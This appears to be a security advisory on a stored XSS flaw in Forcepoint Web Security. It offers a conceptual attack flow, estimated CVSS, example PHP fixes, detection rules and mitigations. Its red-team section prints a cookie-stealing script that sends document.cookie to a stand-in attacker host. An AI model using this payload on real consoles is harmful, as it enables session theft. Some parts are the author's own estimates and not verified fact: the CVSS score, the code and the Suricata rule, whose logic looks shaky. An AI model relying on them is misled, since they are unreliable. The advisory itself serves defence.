CVE-2025-2274

Executive Summary

CVE-2025-2274 is a Stored Cross-Site Scripting (XSS) vulnerability in Forcepoint Web Security (On-Prem) for Windows, affecting versions through 8.5.6. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the context of other users' browsers. This can lead to session hijacking, credential theft, or further compromise of the Forcepoint Web Security management interface. No public exploit code or patch details are currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary on-premises security appliance (Forcepoint Web Security) and is not part of a software supply chain ecosystem.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned. Based on the nature of Stored XSS, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires authenticated access to the management interface
• User Interaction (UI): Required (R) – victim must view the malicious page
• Scope (S): Changed (C) – impact may extend beyond the vulnerable component
• Confidentiality (C): High (H) – potential for data theft
• Integrity (I): High (H) – stored content can be modified
• Availability (A): Low (L) – limited impact on availability

Estimated CVSS Score: 8.0 (High)

Threat Level: High – Stored XSS in a security management console can lead to full compromise of the web security policy and user sessions.

Deep Dive & Mechanics

The vulnerability exists in the Forcepoint Web Security (On-Prem) management interface, which runs on Windows. The application fails to properly sanitize user-supplied input before storing it in a database or file and later rendering it in web pages. This allows an attacker with access to the management console (e.g., an authenticated administrator or a user with limited privileges) to inject malicious HTML/JavaScript code.

Attack Flow:

1. Prerequisite: The attacker must have authenticated access to the Forcepoint Web Security management interface (e.g., via a compromised admin account or through a separate vulnerability).
2. Injection: The attacker navigates to a vulnerable input field (e.g., policy name, description, URL filter rule, or custom block page) and submits a payload such as <script>alert('XSS')</script>.
3. Storage: The payload is stored in the application's database or configuration file without proper encoding.
4. Execution: When another administrator or user views the affected page (e.g., policy list, reports, or logs), the stored script executes in their browser, potentially stealing session cookies, redirecting to malicious sites, or performing actions on behalf of the victim.

Root Cause: The application uses user input directly in HTML output without applying context-aware output encoding (e.g., HTML entity encoding, JavaScript encoding). This is a classic Stored XSS (CWE-79) flaw.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern and the expected fix.

Vulnerable Code (Conceptual):

// Vulnerable: directly outputs user input without sanitization
$policyName = $_POST['policy_name'];
$query = "INSERT INTO policies (name) VALUES ('$policyName')";
// ... later in the page rendering:
echo "<h1>Policy: " . $policyName . "</h1>";

Patched Code (Expected):

// Patched: sanitize input and encode output
$policyName = htmlspecialchars($_POST['policy_name'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO policies (name) VALUES ('" . mysqli_real_escape_string($conn, $policyName) . "')";
// ... later in the page rendering:
echo "<h1>Policy: " . $policyName . "</h1>";

The fix involves:

• Using htmlspecialchars() or equivalent for output encoding.
• Using parameterized queries or proper escaping for database storage.
• Implementing Content Security Policy (CSP) headers to mitigate XSS impact.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Environment:

• Windows Server 2019/2022 with Forcepoint Web Security 8.5.6 installed.
• Attacker machine with a modern browser and Burp Suite or similar proxy.
• Victim machine with a browser logged into the Forcepoint management console.

Exploitation Steps:

1. Authenticate: Log in to the Forcepoint Web Security management interface with a valid account.
2. Identify Vulnerable Input: Navigate to a page that accepts user input (e.g., "Add Policy" or "Custom Block Page").
3. Craft Payload: Use a payload that steals cookies or performs actions. Example:

   <script>
   fetch('http://attacker.com/steal?cookie=' + document.cookie);
   </script>
   

4. Inject: Submit the payload via the vulnerable form.
5. Trigger: Wait for another admin to view the affected page, or navigate to it yourself to confirm execution.
6. Exfiltrate: The victim's browser sends the cookie to the attacker's server.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor Logs: Check Forcepoint Web Security logs for unusual input patterns (e.g., <script>, onerror=, javascript:).
2. Review Policies: Audit all custom policies, block pages, and URL filter rules for injected scripts.
3. Network Monitoring: Look for outbound connections to unknown domains from the management server (potential data exfiltration).
4. User Behavior: Alert on multiple failed login attempts or unusual admin actions.

Mitigation:

• Restrict access to the management interface to trusted IPs only.
• Enable multi-factor authentication (MFA) for all admin accounts.
• Apply principle of least privilege – limit who can modify policies.
• Use a Web Application Firewall (WAF) to filter XSS payloads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP/HTTPS requests to attacker-controlled domains from the Forcepoint server.
  • Unusual Cookie headers in outbound requests.
• File IOCs:
  • Modified configuration files (e.g., websecurity.conf) containing <script> tags.
  • New entries in the database with HTML/JavaScript payloads.
• Log IOCs:
  • Log entries containing %3Cscript%3E (URL-encoded <script>).
  • Repeated access to the same policy or block page by different users.
• Behavioral IOCs:
  • Unexpected changes to web security policies.
  • Alerts from endpoint protection about script execution in the browser.

Detection Engineering

YARA Rule

rule CVE_2025_2274_Stored_XSS {
    meta:
        description = "Detects potential Stored XSS payloads in Forcepoint Web Security configuration files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2274"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['"][^'"]*['"]/i
        $xss3 = /javascript\s*:/i
        $xss4 = /<img[^>]+onerror\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Forcepoint Web Security Stored XSS Detection
id: 8f3a2b1c-5d6e-7f8a-9b0c-1d2e3f4a5b6c
status: experimental
description: Detects potential Stored XSS payloads in Forcepoint Web Security logs
author: Valters IT
date: 2025-04-10
logsource:
    product: forcepoint
    service: web_security
detection:
    selection:
        EventID: 1001  # Example event ID for policy changes
        Message|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom block pages (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-2274 Forcepoint Web Security Stored XSS Exfiltration"; flow:to_server,established; content:"Cookie"; http_header; content:"|3C 73 63 72 69 70 74 3E|"; distance:0; within:100; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate: Restrict network access to the Forcepoint Web Security management interface to only trusted administrators via VPN or jump box.
2. Audit: Review all existing policies, block pages, and custom rules for injected scripts. Remove any suspicious entries.
3. Monitor: Enable detailed logging and alerting for policy changes and unusual admin activity.

Long-Term Fix:

• Patch: Await an official patch from Forcepoint. Contact Forcepoint support for updates.
• Workaround: If possible, disable custom block pages or restrict input fields to alphanumeric characters only.
• Upgrade: Consider upgrading to a newer version if available (check Forcepoint's advisory).
• WAF: Deploy a Web Application Firewall (e.g., ModSecurity) with XSS rules in front of the management interface.

Compensating Controls:

• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use HTTP-only cookies to prevent JavaScript access.
• Enable X-XSS-Protection header (though deprecated, still useful in some browsers).

Valters IT
Securing Digital Frontiers